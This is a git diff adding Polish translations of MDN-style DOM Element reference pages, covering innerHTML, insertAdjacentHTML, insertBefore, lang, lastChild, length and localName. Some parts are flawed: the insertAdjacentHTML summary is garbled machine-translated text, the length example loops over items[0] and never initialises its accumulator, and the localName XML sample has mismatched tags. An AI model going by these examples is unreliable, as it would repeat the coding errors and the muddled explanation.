zdarzeń dla celu zdarzenia.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild</a></dt> + <dd>Wstawia określony węzeł do listy węzłów dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.blur" title="pl/DOM/element.blur">blur</a></dt> + <dd>Dezaktywuje bieżący element.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.click" title="pl/DOM/element.click">click</a></dt> + <dd>Wywołuje kliknięcie na elemencie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.cloneNode" title="pl/DOM/element.cloneNode">cloneNode</a></dt> + <dd>Zwraca kopię bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.dispatchEvent" title="pl/DOM/element.dispatchEvent">dispatchEvent</a></dt> + <dd>Pozwala przekazać wywołania zdarzeń do modelu zdarzeń w implementacji DOM.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.focus" title="pl/DOM/element.focus">focus</a></dt> + <dd>Aktywuje bieżący element.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.getAttribute" title="pl/DOM/element.getAttribute">getAttribute</a></dt> + <dd>Zwraca wartość atrybutu o podanej nazwie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.getAttributeNS" title="pl/DOM/element.getAttributeNS">getAttributeNS</a></dt> + <dd>Zwraca wartość atrybutu o podanej nazwie i przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.getAttributeNode" title="pl/DOM/element.getAttributeNode">getAttributeNode</a></dt> + <dd>Zwraca atrybut elementu jako osobny węzeł.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.getElementsByTagName" title="pl/DOM/element.getElementsByTagName">getElementsByTagName</a></dt> + <dd>Zwraca elementy o podanej nazwie będące potomkami bieżącego elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.hasAttribute" title="pl/DOM/element.hasAttribute">hasAttribute</a></dt> + <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada atrybut o podanej nazwie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.hasAttributeNS" title="pl/DOM/element.hasAttributeNS">hasAttributeNS</a></dt> + <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada atrybut o podanej nazwie i przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.hasAttributes" title="pl/DOM/element.hasAttributes">hasAttributes</a></dt> + <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada jakiekolwiek atrybuty.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.hasChildNodes" title="pl/DOM/element.hasChildNodes">hasChildNodes</a></dt> + <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada dzieci.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore</a></dt> + <dd>Metoda pozwala wstawić węzeł przed bieżącym elementem w DOM.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.item" title="pl/DOM/element.item">item</a></dt> + <dd>Zwraca węzeł z drzewa wg podanego indeksu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.normalize" title="pl/DOM/element.normalize">normalize</a></dt> + <dd>Metoda zapisuje bieżący węzeł i całe drzewo znajdujące się wewnątrz w "znormalizowanej" formie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.removeAttribute" title="pl/DOM/element.removeAttribute">removeAttribute</a></dt> + <dd>Usuwa atrybut elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.removeAttributeNode" title="pl/DOM/element.removeAttributeNode">removeAttributeNode</a></dt> + <dd>Usuwa określony atrybut elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild</a></dt> + <dd>Usuwa węzeł potomny bieżącego elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.removeEventListener" title="pl/DOM/element.removeEventListener">removeEventListener</a></dt> + <dd>Pozwala usunąć obserwatora zdarzeń z celu zdarzenia.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild</a></dt> + <dd>Metoda replaceChild() zastępuje węzeł potomny bieżącego elementu innym węzłem.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.setAttribute" title="pl/DOM/element.setAttribute">setAttribute</a></dt> + <dd>Dodaje nowy atrybut bądź zmienia wartość atrybutu bieżącego elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.setAttributeNS" title="pl/DOM/element.setAttributeNS">setAttributeNS</a></dt> + <dd>Dodaje nowy atrybut bądź zmienia wartość atrybutu bieżącego elementu, wg podanej nazwy i przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.setAttributeNode" title="pl/DOM/element.setAttributeNode">setAttributeNode</a></dt> + <dd>Dodaje nowy węzeł atrybutu do bieżącego elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.setAttributeNodeNS" title="pl/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a></dt> + <dd>Dodaje nowy węzeł atrybutu do bieżącego elementu wg podanej nazwy i przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.supports" title="pl/DOM/element.supports">supports</a></dt> + <dd>Sprawdza, czy implementacja DOM pozwala na wykorzystanie konkretnej możliwości.</dd> +</dl> + +<h3 id="Uchwyty_zdarze.C5.84" name="Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</h3> + +<p>Poniższe właściwości nie mogą być przypisane, tak jak uchwyty zdarzeń obiektów document czy window. Wszystkie poniższe własności służą tylko do odczytu - zwracają kod obsługi zdarzeń, jeżeli został on nadany elementowi w samym HTML-u bądź XML-u.</p> + +<p><strong>Są to właściwości odnoszące się do HTML dla atrybutów zdarzeń 'on'.</strong></p> + +<p><strong>W przeciwieństwie do odpowiadających atrybutów, wartości tych właściwość są funkcjami lub jakimkolwiek innym obiektem implementowanym przez <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener">EventListener</a> interfejs. Przypisanie atrybutu zdarzenia w HTML powoduje utworzenie funkcji opakowującej funkcji dla określonego kodu. Np. podając następujący HTML:</strong></p> + +<pre><div onclick="foo();">click me!</div> +</pre> + +<p><strong>Jeżeli <code>element</code> jest referencją do <code><div></code>, wartość <code>element.onclick</code> wynosi faktycznie:</strong></p> + +<pre>function onclick(event) { + foo(); +} +</pre> + +<p><strong>Note how the <a href="/pl/DOM/event" title="pl/DOM/event">event</a> object is passed as parameter <code>event</code> to this wrapper function.</strong></p> + +<dl> + <dt><a href="/pl/DOM/element.onblur" title="pl/DOM/element.onblur">onblur</a></dt> + <dd>Zwraca kod obsługi zdarzenia blur.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onclick" title="pl/DOM/element.onclick">onclick</a></dt> + <dd>Zwraca kod obsługi zdarzenia onclick.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.ondblclick" title="pl/DOM/element.ondblclick">ondblclick</a></dt> + <dd>Zwraca kod obsługi zdarzenia dblclick.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onfocus" title="pl/DOM/element.onfocus">onfocus</a></dt> + <dd>Zwraca kod obsługi zdarzenia focus.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onkeydown" title="pl/DOM/element.onkeydown">onkeydown</a></dt> + <dd>Zwraca kod obsługi zdarzenia keydown.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onkeypress" title="pl/DOM/element.onkeypress">onkeypress</a></dt> + <dd>Zwraca kod obsługi zdarzenia keypress.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onkeyup" title="pl/DOM/element.onkeyup">onkeyup</a></dt> + <dd>Zwraca kod obsługi zdarzenia keyup.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onmousedown" title="pl/DOM/element.onmousedown">onmousedown</a></dt> + <dd>Zwraca kod obsługi zdarzenia mousedown.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onmousemove" title="pl/DOM/element.onmousemove">onmousemove</a></dt> + <dd>Zwraca kod obsługi zdarzenia mousemove.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onmouseout" title="pl/DOM/element.onmouseout">onmouseout</a></dt> + <dd>Zwraca kod obsługi zdarzenia mouseout.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onmouseover" title="pl/DOM/element.onmouseover">onmouseover</a></dt> + <dd>Zwraca kod obsługi zdarzenia mouseover.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onmouseup" title="pl/DOM/element.onmouseup">onmouseup</a></dt> + <dd>Zwraca kod obsługi zdarzenia mouseup.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.onresize" title="pl/DOM/element.onresize">onresize</a></dt> + <dd>Zwraca kod obsługi zdarzenia resize.</dd> +</dl> diff --git a/files/pl/web/api/element/innerhtml/index.html b/files/pl/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..dafe31adf1 --- /dev/null +++ b/files/pl/web/api/element/innerhtml/index.html @@ -0,0 +1,67 @@ +--- +title: element.innerHTML +slug: Web/API/Element/innerHTML +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/innerHTML +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><strong>innerHTML</strong> ustawia lub pobiera zbiór zawartych w danym elemencie znaczników razem z ich treścią.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var <em>markup</em> = element.innerHTML; +element.innerHTML = <em>markup</em>; +</pre> + +<ul> + <li><code>markup</code> to ciąg znaków z zawartością elementu (w tym elementami potomnymi) jako zwykły HTML. Na przykład: <code>"<p>Jakiś tekst</p>"</code>.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>// HTML: +// <div id="d"><p>Treść</p> +// <p>Bardziej skomplikowane</p> +// </div> + +d = document.getElementById("d"); +dump(d.innerHTML); + +// ciąg "<p>Treść</p><p>Bardziej skomplikowane</p>" +// zostanie wyświetlony w oknie konsoli +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Własność ta, nie będąca częścią specyfikacji W3C DOM, zapewnia możliwość łatwego zastąpienia całej zawartości elementu. Na przykład można wyczyścić wszystko co jest w body:</p> + +<pre class="eval">document.body.innerHTML = ""; // Zawartość body zostaje zastąpiona pustym ciągiem +</pre> + +<p>Własność innerHTML różnych elementów, w tym <code>BODY</code> i <code>HTML</code> może zostać pobrana czy zastąpiona. Można jej użyć, by wyświetlić źródło zmodyfikowanej dynamicznie strony:</p> + +<pre>// Skopiuj jako pojedynczą linię i wklej do paska adresu +javascript:x=document.body.innerHTML.replace(/</g,'&lt;').replace(/\n/g,'<br>'); document.body.innerHTML = x; +</pre> + +<p>Ponieważ nie ma publicznej specyfikacji dla tej własności, jej implementacje różnią się. Na przykład po wprowadzeniu tekstu do pola tekstowego, IE zmieni zawartość atrybutu <code>value</code> elementu <code>INPUT</code> w <code>innerHTML</code>, a przeglądarki oparte o Gecko - nie.</p> + +<p>Własności tej nigdy nie powinno się używać do zapisu części tabeli - zamiast niej należy skorzystać z metod W3C DOM. <code>innerHTML</code> można jednak użyć, by zapisać całą tabelę lub zmodyfikować zawartość pojedynczych komórek.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/innerhtml.asp">MSDN innerHTML</a></p> + +<p>{{ languages( { "en": "en/DOM/element.innerHTML", "fr": "fr/DOM/element.innerHTML", "ja": "ja/DOM/element.innerHTML" } ) }}</p> diff --git a/files/pl/web/api/element/insertadjacenthtml/index.html b/files/pl/web/api/element/insertadjacenthtml/index.html new file mode 100644 index 0000000000..c3332ed337 --- /dev/null +++ b/files/pl/web/api/element/insertadjacenthtml/index.html @@ -0,0 +1,91 @@ +--- +title: Element.insertAdjacentHTML() +slug: Web/API/Element/insertAdjacentHTML +translation_of: Web/API/Element/insertAdjacentHTML +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>insertAdjacentHTML()</code></strong> metoda z {{domxref("Element")}} interfejsu analizuje specyficzny tekst jak HTML albo XML, wstawia wynik w drzewo DOM w określonej pozycji. to nie naprawia elementu jest użyty na a zatem nie jest zepsuty istniejący element w środku elementu. To unika ekstra kroków z serializacją, zrobienie tego jest wiele szybsze niż bezpośredni {{domxref("Element.innerHTML", "innerHTML")}} manipulation.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>position</code></dt> + <dd>A {{domxref("DOMString")}} reprezentuje pozycję relatywną <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">element</span></font>-u musi być must be jeden z następujących ciągów: + <ul> + <li><code style="color: red;">'beforebegin'</code>: przed <code>element</code> -em.</li> + <li><code style="color: green;">'afterbegin'</code>: W środku <code>element</code>-u przed jego pierwszym dzieckiem.</li> + <li><code style="color: blue;">'beforeend'</code>: W środku elementu po jego ostatnim dziecku.</li> + <li><code style="color: magenta;">'afterend'</code>: Po <code>element</code>-cie </li> + </ul> + </dd> + <dt><code>text</code></dt> + <dd>string analizuje HTML albo XML i włącza w drzewo.</dd> +</dl> + +<h3 id="Visualization_of_position_names">Visualization of position names</h3> + +<pre><!-- <strong><code style="color: red;">beforebegin</code></strong> --> +<code style="font-weight: bold;"><p></code> + <!-- <strong><code style="color: green;">afterbegin</code></strong> --> + foo + <!-- <strong><code style="color: blue;">beforeend</code></strong> --> +<code style="font-weight: bold;"></p></code> +<!-- <strong><code style="color: magenta;">afterend</code></strong> --></pre> + +<div class="note"><strong>Note: </strong><code>beforebegin</code> i <code>afterend</code> pozycja działa tylko jeśli node jest w drzewie DOM i ma rodzica elementu.</div> + +<h2 id="Przykład">Przykład:</h2> + +<pre class="brush: js">// <div id="one">one</div> +var d1 = document.getElementById('one'); +d1.insertAdjacentHTML('afterend', '<div id="two">two</div>'); + +// At this point, the new structure is: +// <div id="one">one</div><div id="two">two</div></pre> + +<h2 id="Notes">Notes</h2> + +<h3 id="Security_considerations">Security considerations</h3> + +<p>When inserting HTML into a page by using <code>insertAdjacentHTML()</code>, be careful not to use user input that hasn't been escaped.</p> + +<p>It is not recommended you use <code>insertAdjacentHTML()</code> when inserting plain text; instead, use the {{domxref("Node.textContent")}} property or the {{domxref("Element.insertAdjacentText()")}} method. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.</p> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td> + <td>{{ Spec2('DOM Parsing') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Element.insertAdjacentHTML")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element.insertAdjacentElement()")}}</li> + <li>{{domxref("Element.insertAdjacentText()")}}</li> + <li>{{domxref("XMLSerializer")}}: Construct a DOM representation of XML text</li> + <li><a class="external" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</span></li> +</ul> diff --git a/files/pl/web/api/element/insertbefore/index.html b/files/pl/web/api/element/insertbefore/index.html new file mode 100644 index 0000000000..27c40ad945 --- /dev/null +++ b/files/pl/web/api/element/insertbefore/index.html @@ -0,0 +1,86 @@ +--- +title: element.insertBefore +slug: Web/API/Element/insertBefore +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/insertBefore +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Wstawia określony węzeł przed danym elementem jako dziecko aktualnego węzła.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var <em>wstawionyElement</em> =<em>elementRodzic</em>.insertBefore(<em>nowyElement</em>,<em>danyElement</em>) +</pre> + +<p>Jeżeli <var>danyElement</var> ma wartość <code>null</code>, <var>nowyElement</var> jest wstawiany na końcu listy węzłów potomnych.</p> + +<ul> + <li><code>nowyElement</code> Węzeł do wstawienia.</li> + <li><code>danyElement</code> Węzeł przed którym <code>nowyElement</code> ma zostać wstawiony.</li> + <li><code>elementRodzic</code> Rodzic nowo wstawianego elementu.</li> + <li><code>wstawionyElement</code> Węzeł, który jest wstawiany, czyli <code>nowyElement</code>.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre> <html> + + <head> + <title>Gecko DOM insertBefore test</title> + </head> + + <body> + <div> + <span id="childSpan">foo bar</span> + </div> + + <script type="text/javascript"> + // tworzy pusty węzeł elementu + // bez ID, jakichkolwiek atrybutów lub jakiejkolwiek zawartości + var sp1 = document.createElement("span"); + + // daje to atrybut id nazwany 'newSpan' + sp1.setAttribute("id", "newSpan"); + + // tworzy jakąś zawartość dla nowo powstałego elementu. + var sp1_content = document.createTextNode("Jest to nowy element span. "); + + // zwraca się, która treść ma być do nowego elementu. + sp1.appendChild(sp1_content); + + var sp2 = document.getElementById("childSpan"); + var parentDiv = sp2.parentNode; + + // wstawia nowy element do DOM przed sp2 + parentDiv.insertBefore(sp1, sp2); + </script> + + </body> + </html> +</pre> + +<p>Nie istnieje metoda <code>insertAfter</code>, jednak można ją emulować poprzez kombinację <code>insertBefore</code> oraz <code><a href="pl/DOM/element.nextSibling">nextSibling</a></code>.</p> + +<p>W powyższym przykładzie, <code>sp1</code> może zostać wstawiona za <code>sp2</code> przy użyciu:</p> + +<pre class="eval">parentDiv.insertBefore(sp1, sp2.nextSibling); +</pre> + +<p>Jeżeli <code>sp2</code> nie posiada następnego rodzeństwa i musi być ostatnim potomnym —<code>sp2.nextSibling</code> to zwróci <code>null</code> więc <code>sp1</code> będzie wstawione na końcu listy węzłów potomnych (np. natychmiast po <code>sp2</code>).</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-952280727">insertBefore</a></p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore", "ja": "ja/DOM/element.insertBefore", "pt": "pt/DOM/element.insertBefore" } ) }}</p> diff --git a/files/pl/web/api/element/lang/index.html b/files/pl/web/api/element/lang/index.html new file mode 100644 index 0000000000..446c0817b9 --- /dev/null +++ b/files/pl/web/api/element/lang/index.html @@ -0,0 +1,40 @@ +--- +title: element.lang +slug: Web/API/Element/lang +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/lang +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność ta pozwala pobrać lub ustawić język bazowy wartości atrybutów i treści elementu.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">var <var>languageUsed</var> = elementNodeReference.lang; +elementNodeReference.lang = <var>NewLanguage</var>; +</pre> +<ul> + <li><var>languageUsed</var> to zmienna (ciąg znaków) do której przypisany zostanie aktualny język elementu.</li> + <li><var>NewLanguage</var> to zmienna której wartość będzie użyta jako nowy język elementu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// poniższy fragment kodu porównuje język bazowy i odsyła +// do innych URL na podstawie odczytanego kodu języka +if (document.documentElement.lang == "en") + { + window.location.href = "Some_document.html.en"; + } +else if(document.documentElement.lang == "ru") + { + window.location.href = "Some_document.html.ru"; + }; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Kod języka zwracany przez w/w właściwość zgodny jest z kodami zdefiniowanymi w dokumencie <a class="external" href="http://tools.ietf.org/html/rfc1766" title="http://tools.ietf.org/html/rfc1766">RFC 1766</a>. Przykładowo: "en" dla języka angielskiego, "ja" dla japońskiego, "es" dla hiszpańskiego itd. Domyślna wartość atrybutu to <code>unknown</code>. Wartość tego atrybutu ustawiana jest zwykle dla podstawowego (najwyższego) elementu dokumentu.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59132807">W3C DOM Level 2 HTML: lang</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.lang", "fr": "fr/DOM/element.lang", "ja": "ja/DOM/element.lang" } ) }}</p> diff --git a/files/pl/web/api/element/lastchild/index.html b/files/pl/web/api/element/lastchild/index.html new file mode 100644 index 0000000000..34475c02d7 --- /dev/null +++ b/files/pl/web/api/element/lastchild/index.html @@ -0,0 +1,28 @@ +--- +title: element.lastChild +slug: Web/API/Element/lastChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/lastChild +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>lastChild</b> zwraca ostatnie dziecko węzła.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval"><i>ostatnieDziecko</i> = element.lastChild +</pre> +<p><code>ostatnieDziecko</code> to węzeł. Jeśli jego rodzicem jest element, dzieckiem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>tr = document.getElementById("row1"); +td_róg = tr.lastChild; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeżeli nie ma węzłów potomnych, zwracane jest <code>null</code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB">lastChild </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "ja": "ja/DOM/element.lastChild" } ) }}</p> diff --git a/files/pl/web/api/element/length/index.html b/files/pl/web/api/element/length/index.html new file mode 100644 index 0000000000..ce5e1345ef --- /dev/null +++ b/files/pl/web/api/element/length/index.html @@ -0,0 +1,37 @@ +--- +title: element.length +slug: Web/API/Element/length +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NodeList/length +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>length</b> zwraca liczbę elementów listy.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>liczbaElementów</i> = nodeList.length +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>liczbaElementów</code> to liczba całkowita reprezentująca liczbę elementów listy.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// wszystkie paragrafy z dokumentu +items = document.getElementsByTagName("p"); +// są jakieś? +if ( items.length ) { + // dodaj HTML z każdego elemntu listy + for (var i = 0; i < items.length; i++) { + gross += items[0].innerHTML; + // gross zawiera teraz cały HTML z paragrafów + } +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Właściwość <b>length</b> jest bardzo częsta w programowaniu z użyciem DOM. Używa się jej by sprawdzić, czy lista zawiera elementy oraz w pętli for, jak w powyższym przykładzie.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-203510337">length </a></p> +<p>{{ languages( { "en": "en/DOM/element.length", "ja": "ja/DOM/element.length" } ) }}</p> diff --git a/files/pl/web/api/element/localname/index.html b/files/pl/web/api/element/localname/index.html new file mode 100644 index 0000000000..55b5649e31 --- /dev/null +++ b/files/pl/web/api/element/localname/index.html @@ -0,0 +1,64 @@ +--- +title: element.localName +slug: Web/API/Element/localName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/localName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>localName</b> zwraca lokalną część uściślonej nazwy węzła.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>nazwa</i> = element.localName +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>nazwa</code> to ciąg z lokalną nazwą węzła (zobacz {{ Anch("Uwagi") }} poniżej, aby dowiedzieć się więcej)</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>(Musi obsługiwać treść XML typu, jak <tt>text/xml</tt> lub <tt>application/xhtml+xml</tt>.)</p> +<pre class="eval"><html xmlns="<span class="nowiki">http://www.w3.org/1999/xhtml</span>" + xmlns:svg="<span class="nowiki">http://www.w3.org/2000/svg</span>"> +<head> + <script><![CDATA[ + function test() { + var text = document.getElementById('text'); + var circle = document.getElementById('circle'); + + text.value = "<svg:circle> has:\n" + + "localName = '" + circle.localName + "'\n" + + "namespaceURI = '" + circle.namespaceURI + "'"; + } + ]]></script> +</head> +<body onload="test()"> + <textarea id="text" rows="4" cols="55"/> + <svg:svg version="1.1" + style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:0;" + viewBox="0 0 100 100"> + <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> + </svg:svg> +</body> +</html> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Dla węzłów typu innego niż <code>ELEMENT_NODE</code> i <code>ATTRIBUTE_NODE</code> oraz dla węzłów utworzonych za pomocą metod DOM Level 1, jak na przykład <code><a href="pl/DOM/document.createElement">document.createElement</a></code>, własność ta ma zawsze wartość <code>NULL</code>.</p> +<p><b>localname</b> węzła to ta część uściślonej nazwy węzła, która znajduje się po dwukropku. Uściślone nazwy są zwykle używane w XML jako część przestrzeni nazw w poszczególnych dokumentach XML. Na przykład w uściślonej nazwie "ecomm:partners" nazwa lokalna to "partners", a "ecomm" to prefiks.</p> +<pre><ecomm:business id="soda_shop" type="brick_n_mortar"> + <ecomm:partners> + <ecomm:partner id="1001">Tony's Syrup Warehouse + </ecomm:partner> + </ecomm:partner> +</ecomm:business> +</pre> +<p>Prefiks - w tym wypadku "ecomm" - określa przestrzeń nazw, w której można użyć nazwy lokalnej.</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p><a href="pl/DOM/element.namespaceURI">element.namespaceURI</a></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSLocalN">localName </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.localName", "fr": "fr/DOM/element.localName", "ja": "ja/DOM/element.localName" } ) }}</p> diff --git a/files/pl/web/api/element/name/index.html b/files/pl/web/api/element/name/index.html new file mode 100644 index 0000000000..e1a9fa7f41 --- /dev/null +++ b/files/pl/web/api/element/name/index.html @@ -0,0 +1,60 @@ +--- +title: element.name +slug: Web/API/Element/name +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><strong>name</strong> pobiera lub ustawia atrybut <code>name</code> obiektu DOM. Ma zastosowanie tylko dla poniższych elementów: anchor, applet, form, frame, iframe, image, input, map, meta, object, option, param, select i textarea.</p> +<p><strong>name</strong> można wykorzystać w metodzie <a href="/pl/DOM/document.getElementsByName" title="pl/DOM/document.getElementsByName">getElementsByName</a>, w obiekcie <a href="/pl/DOM/form" title="pl/DOM/form">form</a> i w kolekcji <a href="/pl/DOM/form.elements" title="pl/DOM/form.elements">elements</a>. Jeśli zostanie użyta dla formularza lub kolekcji elementów, właściwość tak może zwrócić jeden element lub ich kolekcję.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre 